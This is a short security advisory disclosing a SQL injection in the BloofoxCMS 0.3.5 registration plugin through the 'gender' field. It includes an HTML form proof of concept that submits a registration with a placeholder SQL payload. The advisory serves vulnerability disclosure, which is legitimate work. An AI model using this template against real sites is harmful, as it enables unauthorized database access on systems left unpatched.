SQL injection in BloofoxCMS registration plugin

Vulnerability ID: HTB22658
Reference: http://www.htbridge.ch/advisory/sql_injection_in_bloofoxcms_registration_plugin.html
Product: BloofoxCMS
Vendor: bloofox.com ( http://bloofox.com/ )
Vulnerable Version: 0.3.5 and probably prior versions
Vendor Notification: 13 October 2010
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in gender variable.

The following PoC is available:

<form action="http://host/index.php?page=8&quot; method="post">
<input type="hidden" name="un" value="testuser">
<input type="hidden" name="pwd" value="123456">
<input type="hidden" name="pwd2" value="123456">
<input type="hidden" name="em" value="[email protected]">
<input type="hidden" name="gender" value="'SQL_CODE_HERE">
<input name="send" value="Register &amp; Create Account" type="submit">
</form>